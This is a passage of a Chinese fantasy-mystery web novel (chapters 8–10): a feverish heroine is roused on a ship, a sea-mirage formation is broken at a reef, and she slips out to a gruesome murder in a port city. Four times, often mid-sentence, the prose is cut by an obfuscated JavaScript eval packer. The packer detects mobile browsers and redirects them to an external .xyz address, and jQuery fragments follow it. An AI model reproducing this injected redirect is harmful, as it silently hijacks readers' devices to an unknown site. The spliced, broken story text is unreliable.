;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668821|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,便在甲板边缘坐下,背靠着栏杆。
海风轻轻吹着,一点点带走身上的暖意,她觉得有点冷,又实在懒得动弹,直到感觉头有些昏沉,才起身回房间。
次日,海上阳光普照时,无心打着哈欠从屋里走出来。
船上没有什么可忙的,正好让他补补觉,自从来了无名湾,他都没好好休息过。
他一路来到公共区域吃早饭,就见莫医师守着药炉子,皱着眉头小声嘀咕着什么。
他嬉皮笑脸地凑过去:“谁惹您了,一大早的不高兴?”
“谁说我不高兴?”
莫医师掀开药罐看了看,叹气:“你们这些少年人当真贪眠,我这剂汤药温在炉子上都快熬干了,那丫头房里还没动静呢。你去喊喊她,须知昼卧伤神,睡久了也不好。”
无心刚来就被派了任务,只能放下早饭,先去叫人。
船上空间有限,大部分人都是挤着睡,而慕情是船上唯一的女孩子,才得分了单独一间房。
无心走到门口“砰砰砰”敲了三声,等了一会儿,没听到里面有动静,就又敲了一遍。
“起床了,再不起可就没有早饭了!”
声音在船舱里回荡,有路过的清明使好奇地看向这边,房间里却还是寂静一片。
无心皱了皱眉,再次敲门喊道:“慕情姑娘?你醒着吗?”
“……”
无人回应。
他弄出的动静不小,另一个房间里的月悬闻声出来,询问他:“怎么了?”
“莫医师让喊慕情起来喝药,但屋里怎么没动静,有人看见她了吗?”无心环顾四周。
围观的众人均摇头。
月悬道:“破门。”
海船上的门不过是走个形式,只有薄薄的一层木板,无心提脚一踹,不费吹灰之力就打开了。
这时莫医师也赶了过来,一眼就从缝隙里看到了慕情。
她蔫哒哒地侧趴在床边,面色红如灼炭,双颊泛着不自然的酡色,嘴唇却反常地干裂发白,鬓发也完全被汗珠浸湿,紧贴在脸颊上。
整个人泛着浓重的病气。
“不好!”莫医师惊呼一声,“快去拿我的药箱来!”
8. 第 8 章
众人闻声而动,不一会儿就把药箱、布巾等物送了过来。
无心和月悬跟莫医师一起进到房间里,看着他给慕情把脉、针灸,折腾了好半天,然后又化了一粒药丸,撬开她的牙关灌了下去。
慕情一直没有什么反应,直到被药汤呛了一下,才动了动眼珠,汗湿的睫毛剧烈颤动着,但并没有醒来,只是张了张嘴。
月悬和无心都是耳目灵敏之人,即便离得比较远,也听清了她是含含糊糊地喊了声“妈妈”。
这个词虽然不太常用,但大家都能理解什么意思。
莫医师叹了口气。
“情况如何?”月悬问道。
“应是受了风寒,才高烧不醒。现在只是暂时稳住了,但只要高热不退,就依然有危险。我得重新配一剂药,幸好来时准备充足,带的药材不少。”
他说着将浸湿的布巾敷在慕情额头上,看向旁边的两人:“这布巾需要时时更换,辅助降温,你们谁来帮忙?”
月悬没作声。
无心偷眼瞥他,见他没有动作的意思,连忙上前接过。
“我来我来。”
他看着慕情病蔫蔫的面容,突然想起另一件事,叫住莫医师:“那她什么时候能醒?”
根据航程,预计今日上午就能到达目的地,估计过不了多久就能看到礁石群了。原本还指望慕情帮忙辨认,可她现在这个样子,到时候怎么办?
莫医师摇头:“不好说,她身体本就虚弱,底子受损不轻,遇到这种急病,能不能醒,什么时候醒,都未可知。”
月悬道:“先治病退烧,别的到时候再说。”
无心于是闭嘴,专心坐在床边当照顾病人的医仆。
他有心使唤别人来干,但月悬既不插手,也没有要走的意思,就守在这里,不知在想些什么。
就这么又折腾了近两个时辰,慕情的高烧总算是退了下去,只是人一直没醒。
他们的船已经到了地方,从甲板上看去,前方是星罗棋布的一大片礁石群,肉眼看不到边。里面海况复杂,大船不好进入,恐有搁浅的风险,于是只在边缘抛锚。
月悬安排了几拨人乘小舟往里巡视,查看有无异常之处,但进度实在缓慢,一时没有消息传回。
这时,海面上天象却出现变化,云层遮住了太阳。
有些起风了。
船长经验丰富,知道可能要有风浪,赶紧进入船舱内,向月悬他们禀告。
竭临港航运发达,但这片名为万岛礁的礁石群,向来是船只绕行的禁区,谨慎起见,须得在风雨来临前尽快驶离。
他们顶多还有一个多时辰的时间。
无心想方设法叫醒慕情,可各种手段都试过了,她只偶尔发出些听不懂的胡言乱语,迟迟没有恢复神志。
无心忍不住向莫医师提问:“还有没有别的什么办法?”
莫医师把他的药炉子搬到了慕情门外,用一把蒲扇扇着火,闻言沉吟片刻。
“慕情姑娘是高烧后魇住了,这种情况本应该扎几针,让她沉睡过去,好好休息。但如果必须要喊醒她的话,有个方法倒是可以一试。”
无心眼睛一亮:“什么办法?这时候您老就别卖关子了。”
莫医师摸着自己的山羊胡:“让一个她亲近、信任的人在耳边不断呼唤她,把她的神志从梦魇中拉回来。”
月悬道:“我们与她相识不过两日,都算不得她亲近信任之人。”
莫医师摇头:“那就没法子了,等她自己醒吧。”
无心可不管那么多,听了个新法子就要试试,凑到床边,又是拍肩膀、又是掐脸颊、又是捏鼻子地一通折腾。
嘴里还不停地喊着:“慕情姑娘?慕情妹妹?师妹?小师妹——”
“小师妹”都喊出来了,她居然还是半点面子也不给,别说醒来,连眼皮都没动一下。
无心急得抓心挠肝,左右看看,试探着对月悬道:“大师兄,不然你试试?”
月悬看他一眼:“这两天都是你负责照看她,与她相处最多。”
“大师兄。”无心无奈扶额,“这时候就别装傻了,她想要谁,你不知道吗?”
这话说得暧昧,莫医师看向月悬,见他表情依然平静如常,耳根后却染上了一层薄红,心里啧啧称奇,也忍不住露出了一丝笑意。
他轻咳两声,把药炉子挪远了些,到了走廊另一头。
“你们自己看着办吧,可以试着多喊喊她的名字。”
月悬看莫医师的态度,知道他误会了,皱了皱眉,不认同地看向无心。
“你别瞪我啊,事急从权嘛。”无心脸皮厚得很,见他不动,直接把他推到床边,“喊喊名字而已,再说了,她现在这个样子,醒来后能不能记得还是一回事儿呢。”
外面已经派人去通知外出的清明使返回,如果不能及时找到地方,等风雨过后再回来,恐怕天也黑了,不知要耽误多少时间……
月悬抿了抿唇,看向床上沉睡着的人,轻声唤道:“慕情姑娘,醒醒。”
他有些尴尬,语气便干巴巴的,毫无作用。
无心又着急又想笑:“不是,大师兄,哪儿有像你这么喊的?上次在幻境里也不是这样啊。你靠近些,拍拍她的脸试试?”
月悬拧眉,还是依言凑近了些,手指在她脸颊上轻轻一触,又飞快地收了回来。
他沉默片刻,俯下身去,在她耳边低低地唤了一声。
“落儿……”
……
船舱外,钟武忙完手上的事情,准备回去汇报情况。
他进入走廊,看到莫医师在熬药,还没来得及问,就见舱门打开,月悬抱着个人从屋里出来,披风也裹在那人身上。
慕情头靠在他肩膀处,人虽然醒了,但状态显然极差,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668822|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抬了抬眼皮,很快又阖上了。
“去甲板上。”月悬对钟武吩咐道:“通知船长准备拉帆启航。”
钟武领命而去,月悬和无心便带着人来到船头。
慕情也不用他们开口,感受到海风迎面吹来,便睁开眼,看向眼前的海域,然后摇了摇头。
无心等人并不意外,万岛礁就如它的名字一般,广阔无比。
一来就找对地方,可能性约等于无。
随着船工们的呼号,巨大的褐色风帆拉起,海船略微转了个方向,绕着礁石群外围继续行驶。
每过一段,月悬都会喊醒慕情,让她看看周围环境,她每次都摇头。
这片礁石群并不是一个规则的圆形,而是类似月牙的形状,中间有一处凹陷,船只航行到此,已经算是万岛礁深处。
也许是要下雨的缘故,不知不觉间,海上飘起了一层薄雾,有些影响视野。
掌舵的船长观察着周围海况,摇了摇头。
“起雾了,不能继续深入,万一触礁搁浅就麻烦了。”
“又是雾……”月悬目光沉凝,低头看向怀中人,“慕情姑娘,你看看这里有印象吗?”
慕情睁开眼睛,目光投向前方海面,眼神略显迷茫,久久没有什么反应。
月悬和无心让人备船时,并没有明言要去找何物,只说得了些新线索,要去一趟万岛礁。
此时看到熟悉的雾气,追查此案已久的众清明使都隐隐激动起来,恨不得立即下去,把这里再翻个底朝天。
但两位上司都没有开口,众人只得按兵不动,目光疑惑又好奇地集中在慕情身上。
无心等了一会儿,见慕情既不说话也不摇头,正要开口询问,就见她的身形微动,手撑住月悬的手臂,挣扎着从他怀里站了起来。
病后身体虚弱,她落地时晃了一下,但不等旁人搀扶,很快调整好了,稳稳地走到船边。
甲板距离海面有将近一丈高,慕情却还嫌不够。
她运起轻功,迎风而上,脚尖一点,落在船头倾斜的破浪板上,手扶住旁边的一根缆绳,将周围海域尽收眼底。
海风吹着她身上宽大的披风,看起来几乎要乘风而起。
“好像,就是这里……”她的声音有些哑,但还是清晰地传了过来。
众人反应各异,大多是高兴的。
只有月悬和无心相互对视了一眼,表情难掩讶异。
慕情方才使出的轻功,正是他们师门独有的绝技“流云纵”,可借风势连续腾跃,如云絮飘移,看她身法轻盈灵动,显然已练得十分纯熟。
就在这时,慕情突然松手,毫无预兆地往下跳去,踏着浪花连续几个起落,就突兀地消失在众人视线中。
月悬眉头一皱:“跟上去。”
话音未落,人已经离开轮椅,飞身而下,须臾已至数丈之外,向着慕情消失的方向追去。
9. 第 9 章
进入万岛礁中,水面凸起的石块如星罗棋布,大大小小毫无规律,极容易偏移方向。
月悬目光紧锁慕情消失之处,眨眼间到了近前。
与无名湾不同,他刚靠近那片区域,就如同穿透一块薄膜,进入另一层空间。
里面的场景还是万岛礁,乍一看与外面没有任何区别,弥漫着一层薄雾,隐隐泛紫。
慕情在距离他数丈之外,正弯腰抱起一个丁点儿大的孩子。
她前方海中,白色的泡沫在尖锐的礁石上撞得粉身碎骨,似有光影浮动。
“小心!”月悬瞳孔一缩,出声提醒。
随着他话音落下。
“啪!”
水面突然激起巨大浪花,一道透明的触手破水而出,拦腰向慕情所在之处抽来。
慕情听到声音,立即抱着孩子快速后退,但还是被触手边缘扫过。强烈的冲击力,让她身体失去平衡,径直向后方摔去。
月悬飞身上前将人接住,手掌稳稳托住她的腰身,转了半圈卸去力道,有惊无险地落在下方的礁石上。
与此同时,他强行逆转内息,月白色广袖翻卷,手中飞出一道闪烁的银光。
光芒一路震碎三尺浪涛,直取那怪异的触手,瞬间将其削去一半。
剩下的半截则翻滚挣扎着,重新落回水里,消失不见。
不等他们稍喘一口气,周围的海水出现更强的波浪,连脚下坚硬的石块也开始剧烈晃动起来。
越来越多的黑色的礁石浮出水面,仿佛海水被什么东西快速吸走,又或是海底有什么东西向上升起。
几息间就形成了一个平坦的小岛。
月悬护着慕情,转头对紧随其后进来的无心低喝:“脚下!”
无心意会,连周围情况都没来得及细看,瞬间将手中长剑狠狠插入下方岩石中。
一阵刺耳的金石相击之音,沛然内力顺着礁石裂隙轰然炸开。
整片海域响起婴儿啼哭般的尖啸。
隐隐泛紫的蜃气如褪色的胭脂层层剥落,海面上出现大片人工痕迹,还有一艘斑驳的商船。
那船并非搁浅,而是大头朝下,半个船身都诡异地埋在礁石之中。桅杆上缠满蛛网般的阴丝,在暮色里泛着青灰死气。
船舱里,有人从倾斜的窗子爬出来,眼底青黑,双颊消瘦,表情茫然地看着外面的场景。
“啧,又是船。”
无心抱怨一声,正要赶过去救人,忽然一股汹涌的阴气从脚下腾起,如潮水般弥漫开来。
脚下岩石再次震荡,裂开蛛网般的纹路,漆黑海水中伸出无数骨手,幽风阵阵。
阴寒之感骤然窜入骨髓。
月悬眉间闪过一丝痛苦之色,脚下一晃,险些重心不稳。
他紧了紧手臂,正要带着慕情离开这里,却见素白衣袂掠过眼前。本被他护在怀中的人竟反手揽住他的腰,掌心渡来温润内力,自然地支撑着他的身体。
这种感觉十分陌生,月悬不禁愣了一下。
慕情脸色极差,并没有看他,扬声提醒无心。
“无心师兄,是阵法,鬼渊阵!”
无心的剑锋横扫斩断袭来的骨手,百忙之中还不忘调侃她。
“小师妹好眼力!”
他并指抹过剑身,信心满满:“小把戏。大师兄你们先走,我去斩了那……”
话音戛然而止。
月悬袖中接连飞出七道光芒,银白刃轮割裂浓雾,发出凤鸣般的清啸。
海面下的某种生物被击中,引起海水翻腾,周围的阴气也淡了些。
他左手拎起昏迷的婴孩,右臂收紧,袖袍带起猎猎风声:“话多。”
“阵心在那怪物身下,尽快把人救出来。”
他说罢带着慕情凌空飞渡,越过海上的骨手,几个起落间回到了他们自己的船上。
在他们身后,越来越多清明使抵达,并加入战场。
如此大的动静,莫医师已早早等在那里,见月悬回来,立即上前关心,眉头皱得紧紧的。
“刚才我感受到了,好重的一股阴气,你怎么样?”
月悬额间覆着一层薄汗,摇了摇头:“我没事,她可能受了点伤,你先看看……”
“先看看孩子。”慕情接过话。
她眼前隐隐发黑,用力眨了眨眼,然后接过月悬手中的孩子,交给莫医师。
小孩不过三四岁的模样,身上衣物脏污凌乱,虽然狼狈,但小脸圆嘟嘟,手脚都肉乎乎的,看得出来极受家里人宠爱。
莫医师只看了看孩子的脸色,就招手让人接过带下去安顿。
“没事,昏过去了而已。你们啊,还是先顾着自己吧。”
“尤其是你。”他满脸严肃,推着月悬坐到椅子上,动手按了按他的膝骨,“药都带着吧?”
月悬表情无奈,伸手拦住他:“这次是意外,我马上就回去吃药。您先给慕情姑娘诊诊脉,她脸色不太好。”
慕情站在他旁边,确实感觉到身体状况很糟糕,但难掩心中担忧。
“你……”
她刚要开口劝,忽然内脏一阵绞痛,眼前闪烁着白光,一股带着强烈铁锈和微咸味道的液体,不受控制地向上翻腾,呛咳而出。
她闻到浓烈的血腥味儿,耳朵里嗡嗡作响,盖过了外界的声音,只感觉到一双微凉的手,稳稳扶住了她。
然后就彻底失去了意识。
*
海上风浪渐起。
船长指挥着船工们忙忙碌碌,不断把船往外挪,避免搁浅风险。
万岛礁内阵法已破,露出本来面目。
乍一看还是普通的礁石群,细细观察却能其排列布局颇有规律。
有些礁石上还有人工搭建的木板,不像是房子的结构,而像是一个个小平台,只是看起来也已经废弃许久,表面附着着湿滑的苔藓和灰白色的藤壶,有些腐朽了。
在这种情况下,那艘至少六七成新的商船,就显得十分突兀了。
众清明使撑着小船,在礁石和大船之间往来数趟,终于将那商船中的被困之人全都解救出来。
“我的天,足有四十几个人!”
无心跟着最后一趟船回来,翻上甲板时,天上已经开始下起密密麻麻的雨滴。
老远传来船长的声音:“起锚!扬帆——”
月悬膝上盖着薄毯,坐在遮雨的屋檐下,看着逐渐远去的万岛礁。
无心拍了拍头发上的雨滴,走过去。
“大师兄,你没事吧?慕情那丫头呢?”
“我没事。她病情未愈,又添新伤,吐血昏迷了,莫医师正在照顾她。”
四处没找到凳子,无心干脆在他旁边席地而坐。
“这回算她立了大功了,这地方有点意思。”
月悬拿起膝上的一叠纸张,上面是其他清明使交上来的报告,还有一些获救者的审讯记录。
“听说礁石下方别有洞天。”
“对,我看那些木质平台像是废弃的简易码头,就让人在周围的礁石处搜查了一下,果然发现好几个隐秘的洞口,直通海底。”
“你下去看了吗?”
“时间紧急,就只匆忙下去看了两眼。那一片礁石底下都被掏空了,分了好几个区域。可惜里面早就废弃了,只有些破桌子破椅子,别说人了,连鬼都没有。”
月悬看向外面越下越大的雨,继续说道:“被困的四十几人,是东扶国前来经商的。”
东扶是个岛国,与大景朝隔海相望,乘船往来只需几日,贸易颇为频繁。
这艘商船几日前从东扶国出发,满载一船货物,还没靠岸,就稀里糊涂地被拖到万岛礁深处,也没人发现他们失踪了。
问起发生了什么,那些人都迷迷糊糊,表示不知道,只记得自己好像做了很长的梦。
算起来,他们被困不过三日而已,却个个面黄肌瘦,宛如被吸了精气神。
唯有那个三四岁的懵懂小儿,似乎没有受影响,自己翻东西吃,还自己从船上爬了出来。
无心摸着下巴:“小孩子天真无邪,不生忧怖,那蜃气自然奈何不了她。可惜,破阵的时候让它给跑了。这玩意儿要藏起来,还真不容易找。”
“它受伤不轻,跑不了多远。而且,按照神话记载,蜃这种东西,是极不爱动弹的。它既然在这里,怎么以前从未听说过什么异常,最近又为何频繁伤人呢?”
月悬摩挲着手中的案卷,陷入沉思。
“对了!”无心突然一拍脑袋,“师兄你给我张纸。”
月悬抽出一张空白的纸,递给他。
无心在周围找了一下,从地上捡起一节掉落的木炭,“唰唰唰”在纸上画了起来。
片刻后,他把纸抖了一下,竖直了拿给月悬看。
“这个符号,眼熟不?”
月悬接过,仔细查看,眼睛微微一眯:“……鬼王教?”
那是一个非常怪异的符号,由几根简单的线条组成,有些像花,又像一只不怀好意的眼睛。
“没错,我在一块不起眼的礁石上看到的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668823|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻得十分粗糙,应该是谁不经意所为,所以那些人抹除痕迹的时候漏掉了。”
月悬回忆了一下:“数年前,鬼王教确实活跃在东海这一片区域,一直被朝廷扫除,近几年倒销声匿迹了。”
无心摸着左耳上的银坠,思索着:“所以,这里会不会是鬼王教以前的一个窝点?搞得这么隐蔽?”
“这个地方虽然隐蔽,但交通不便,并不适合作为据点,反而……更适合干些见不得人的事情。”
月悬将那张画着符号的纸也收进案卷里:“等风雨息了,我再跟你一起下去看看。”
无心挠头:“此案重大,恐怕还得跟市舶司那边打个招呼,总得有个人回去跟那些老头子周旋。而且,你的身体……”
“没事。鬼渊阵已破,阴气散了大半。况且我不会久留,待查完线索,就连夜赶回竭临港。”
无心不太赞同他这样奔忙,但大师兄决定的事情,他也基本干预不了……
月悬驱动轮椅,临走前突然说道:“你带有玄光符吗?”
玄光符,全名玄光真鉴符,用来鉴鬼辨邪的。
无心眼珠一动:“带是带了……”
月悬打断他:“送到6号房来。”
6号房,正是慕情住着的房间。那房门被无心踹了一脚,还没来得及修,一碰就吱呀乱晃。
无心把玄光符带过来,交给月悬,看着他右手持符,青光一闪后贴在慕情眉心处。
她还沉睡着,并没有任何反应。
那符表面散出一丝黑气,然后就没了动静,直到青光熄灭。
月悬将符纸揭下,扔进了旁边温药的炉子里。
无心:“你怀疑她不是人?”
月悬表情平静:“谨慎一些总没错。”
无心双手抱胸,若有所思:“这姑娘确实奇怪,居然能找到这么隐秘的地方,还可能跟鬼王教有关……但不论如何,她确实帮了不小的忙,不然那一船人最后如何,还真不好说。”
“嗯,等船靠岸,先把她和那些东扶国人一起送回竭临港。”
*
慕情睁开眼,毫不意外地发现,她又被换了一个地方。
这次应当是在马车上,空间不大,只有她一个人,外面传来“咔哒、咔哒”的车轮转动声,还有街市上热闹的叫卖声。
她身上的不适感减轻了许多,起身掀开门帘。
外面天都已经快黑了。
周围只有这一辆车,显然月悬他们并没有跟她一起。
马车一路疾驰来到城门处,门楼上挂着牌子,上书“竭临港”三个大字。
慕情:“……”
绕了半天,还是被送到这儿来了。
进入城里后,马车速度慢了下来,周围环境更加热闹。
不少人好奇地抬头看向她,目光并没有恶意,但慕情莫名感到有点不安。
她放下车帘,改从窗子处掀起一个角往外看。
路过一个巾帽铺子时,她突然喊停了马车,提出想要一顶帷帽。
赶车的算是个熟人,旧渔庄用刀拦她的那个有点酷的小哥。
他闻言迟疑了一下,就下车去帮她买了。非常简单的款式,细竹篾编成的帽胎,边缘下垂一圈月白色的轻薄纱罗。
慕情不好意思地接过,说自己现在身上没有钱,过段时间再还他。
对方则摆了摆手,表示不用。
慕情觉得他人不错,就跟他攀谈起来。
“你是我月悬师兄手下的吗?”
“是。姑娘可以叫我谢三。”
慕情有点奇怪:“那我怎么好像,看你有点眼生?”
小哥年龄看起来与她相仿,气质独特,长得也不错,能被安排来看管她,说明身手应该也是出挑的。
若是长期待在月悬身边办事,就算她健忘,也总该觉得有些眼熟才对。
没道理会有这么强的陌生感。
谢三简略答道:“我刚调上来,跟在月使大人身边不久,还没怎么参与过大案。”
“哦……”
原来如此。
慕情点了点头,脑子隐约闪过一些画面,但还没抓住就消散了。
她也没有在意,把帷帽戴在了头上。
马车一路缓行,在一个小院门前停了下来。
谢三跳下车:“姑娘请吧,这几日我们先在这里落脚。”
小院坐落在一片居民区里,面积不大,景色也平平无奇。院中有个负责煮饭和打扫卫生的大嫂,看到他们打了个招呼,什么也没有多问。
10. 第 10 章
他们进城时天色已晚,加上慕情身体伤病未愈,容易困乏,吃过晚饭就早早睡下了,一夜无话。
次日清晨,天才蒙蒙亮,竭临港的街道上就开始有人走动起来。
作为南边第一大海港,这里贸易繁盛,航运发达,热闹非凡。
尤其那花酒一条街,琴音靡靡,红灯如昼,彻夜不息。
一间酒楼的门打开,红衣舞女声音娇俏:“李少爷,还早呢,怎么就要回去了?”
“下次……嗝……下次再来陪你。”
男子醉醺醺地挣开美人的手,跨过门槛时脚下一个踉跄,被赶来的小厮扶住。
冷风吹散了酒楼中的醉人暖香,李少爷抬头看天,已是破晓之际,再耽搁下去他爹就要起身练武了。
他浑身一激灵,催促小厮快走,转身进了一条小巷。
那是一条直通李府的近路,只是偏僻了些,两侧都是耸立的高墙,巷道幽深阴暗。
小厮年纪还小,近来听多了鬼怪传闻,有些害怕。
“少爷,要不我们还是走大路吧……听说东海最近不太平,清明司都来了,万一遇到……”
李少爷脚步不停,语气不耐烦。
“世上哪有那么多鬼?没事儿少去听那些说书人吹嘘,那些清明司的事迹,多半都是编的!再说了,有本少爷在,你怕什么?”
小厮:“……”
就您那三脚猫的功夫,不遇上鬼怪,遇上坏人也够呛。
但他也只敢腹诽,不敢反驳,怂怂地跟在后面,忽而脚步一顿,拉了一下主子的衣袖。
“少爷……前面是不是有人?”
这巷子长而幽深,即便白日里也冷寂无人,此时朦胧天光中,却有个人影摇摇晃晃地走在前面。
他步速很慢,也不怎么平稳,似是喝醉了一般。
小厮搓了搓手臂上的鸡皮疙瘩,说道:“总觉得这衣服,有点眼熟。”
此人身着绛紫色锦衣,腰系玉带,头戴宝石冠,看起来是个非富即贵的公子哥,但身边既没有同伴,也没有下人。
李少爷的神色却是一松。
“这不是王兄嘛!”
“你这几日上哪儿去了?可叫我们好生担忧了一把!”
他紧赶几步,热情地打起招呼,但他口中的王兄并没有什么反应。
那人仿佛没注意到后面有人,片刻停顿也无,脚步一成不变地往前走,连身体晃动的弧度都没有明显变化。
“喝多了?”
李少爷表情疑惑,快走两步来到那人身后,拍了一下他的肩膀。
“喂,王高……”
声音戛然而止。
他如同被扼住脖子的鸭,惊恐地看着眼前这一幕。
只见刚才还支棱得好好的人,在他一拍之下,竟然仿佛烈日下融化的油脂,瞬间化成一堆碎肉,摔成一滩。
大量的血液透过完整的衣物流淌开来,染红了绛紫色的外衫。
突然爆发出来的浓烈尸臭气,熏得李少爷两眼一翻,向后倒去。
小厮吓傻在原地,半响之后才反应过来,舌头也从僵直变软,一声尖叫破口而出,响彻云霄。
“啊!!!邪祟杀人了啊啊!!!”
声音穿过重重瓦墙,钻到慕情耳朵里,将她从梦中惊醒。
她愣了一会儿,穿衣起身。
正要出门,突然想起上次差点拍到面门上那柄刀,脚步一转,果断走向后院的方向。
她轻手轻脚地打开窗,刚要跳出来,就听到头顶传来一个声音。
“咳……”
谢三抱着刀,靠坐在院中的老树枝上:“姑娘,天色还早,回去再睡会儿吧。”
慕情:“……”
她干脆在窗台上坐下,指了指刚才声音传来的方向。
“你没听到吗?”
谢三老神在在,看起来丝毫没有动身的意思。
“别的事自有别人去处理,姑娘放心。”
显然,他也没准备让慕情去。
慕情转了转眼珠:“好吧。我醒都醒了,去前院待会儿总可以吧?我听到动静,估计李大嫂也起来了。”
谢三没答话,算是默许了。
李大嫂是个勤快人,天才刚亮,就已经在厨房忙活起来了。
慕情过去跟她闲聊了几句,顺便给她打打下手,见角落里有一筐带壳的豆子,便拿出来帮着剥。
李大嫂不时探头看她一眼。
院门外,几个大婶凑在一块儿闲聊,正说的是之前那声惨叫。
“这一大早的,竟然出了一起这么惨的命案……死的是个男的!就在前面隔着几条街的阴暗巷子里……你们可别去凑热闹,我刚才跑回来呢!光是看到点紫色的衣角,就被吓一大跳,全是血!邪门!”
紫色?
这可不是寻常百姓穿得起的。
慕情脑中闪过之前与人交手的某个画面,心中一动,应该不会这么巧吧?
她放下手里的篮子,走向门口,想要再听仔细一些。
李大嫂在厨房门口喊她:“姑娘,早饭快好了,您来看看合不合口味。”
慕情脚步顿住,无奈一笑。
“好,就来了。”
李大嫂和谢三两人,一个盯前院,一个守后院,慕情硬是连院门都出不去一步。
她也不愿意为难他们,吃过早饭喝了药,便闲得继续在院中剥那筐黄豆。
豆荚经过暴晒,完全去除了水分,手指轻轻一碰,表皮就爆裂开来,露出圆滚滚的豆子,发出“啪”一声脆响。
她随手将院中的一些小木棍捡起来,塞进筐子低下,用豆子遮盖住。
李大嫂收拾完厨房,走出来说道:“诶唷!姑娘,这些事儿哪用您来做,快回屋歇着去。”
“没事儿,我闲的。”慕情抬头看向天边,用手挡了挡阳光,“太阳出来了,确实有点刺眼。这些黄豆我带回房间去剥吧,正好打发打发时间。”
这么点要求,李大嫂自然没有拒绝,还帮着她把筐子端进去。
慕情把门关上,开了扇角落里的窗子,然后在屋里设了个小小的机关。
小木棍用线一根根绑住,吊在桌子边沿,下面放着装豆荚的筐,线的另一头则按照高低顺序绑在对面的椅子腿上,紧贴着线头放上一根高蜡烛。
只要蜡烛点燃,滚烫的蜡油就会从上而下烧断细线,使小木棍依次落在下方的黄豆筐里,不时发出“噼啪、噼啪”的声音。
慕情掰着手指头算了一下,蜡烛燃烧完估计有小一个时辰,足够她来回好几趟了。
谢三是个闷葫芦,李大嫂也不爱打搅她,只要屋里有声音,多半不会起疑。
思索间,第一根线被烧断,木棍掉下去,弄出几声响动。
慕情悄无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668824|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声息地爬上窗子,腰身一拧翻上房檐,绕开谢三溜走了。
出事儿的地方并不难找,巷子前后就被府衙的人全部围了起来,还有不少民众凑在巷子口张望着。
“怎么回事?这里死人了?”
“可不是嘛,死得可惨了,一地的血沫肉泥。”
问话的人打了个寒颤,又忍不住好奇追问:”那可知死的是谁?“
有人压低声音:“好像还是王知府的儿子,王高义!”
“他不是失踪了吗?”
“是啊,听说李武督的儿子喝花酒回来,在这巷子里遇见他了,就上去打了个招呼。结果你猜怎么着?那王高义原先还好好地走着,被人一拍肩膀,就碎成渣了!”
“这这这……怕不是什么鬼怪作祟。”
人群中一个姑娘愤愤说道:“呸,什么鬼怪,我看是报应才对。那王高义可不是什么好东西,欺男霸女的事不知干了多少,死了才干净呢。”
“嘘,你小声点!”
周围的人吓了一大跳,连忙低声提醒,但已经晚了。
一脸凶煞的衙役走了过来:“什么人在此妄议朝廷命官?”
围观的都是些普通百姓,虽然内心愤愤,但更怕被官差牵连,害了一家老小,不由自主地后退散开。
姑娘脸色苍白,却又不愿露出软弱之色,恶狠狠地盯着靠近的衙役。
“还敢瞪我?”衙役抽出腰间的长鞭,反手就往少女脸上抽去,“去牢里蹲着吧!”
鞭子的破空声袭来,少女吓得闭上眼睛,却迟迟没有感觉到疼痛,愣了一下才睁开眼。
衙役手里的鞭子已经断成了两截,断口光滑齐整,显然是什么利刃所致。
一枚弯月般的无柄小刀嵌在墙壁上,强大的内劲将周围的青石震出了蛛网般的裂缝。
衙役皱眉,看向银光飞来的方向:“何人干扰公务?”
“公务?”年轻男子冷冽的声音传来,“……我竟不知,王高义何时成了朝廷命官?”
众人回头,人群外不知何时停了一顶青布小轿,声音正是从其中传出。
那轿子看着虽然普通,但周围跟了好几个精壮的侍卫,衙役心里发虚,缓和了语气:“敢问是哪位大人路过?”
来人正是刚从海上赶回来的月悬。
他没有回答,安静地坐在轿中。
片刻后,钟武挤出人群,来到轿前,低声汇报起事情始末。
月悬听完下了轿,径直往巷子里走去。
钟武推着轮椅走在他身后。
衙役硬着头皮把他们拦住:“这位公子,巷子里有命案发生,还在调查,不宜让外人进入,还请不要为难我们。”
钟武上前一步,抬手向他们出示了一块令牌。
“现在可以进了吗?”
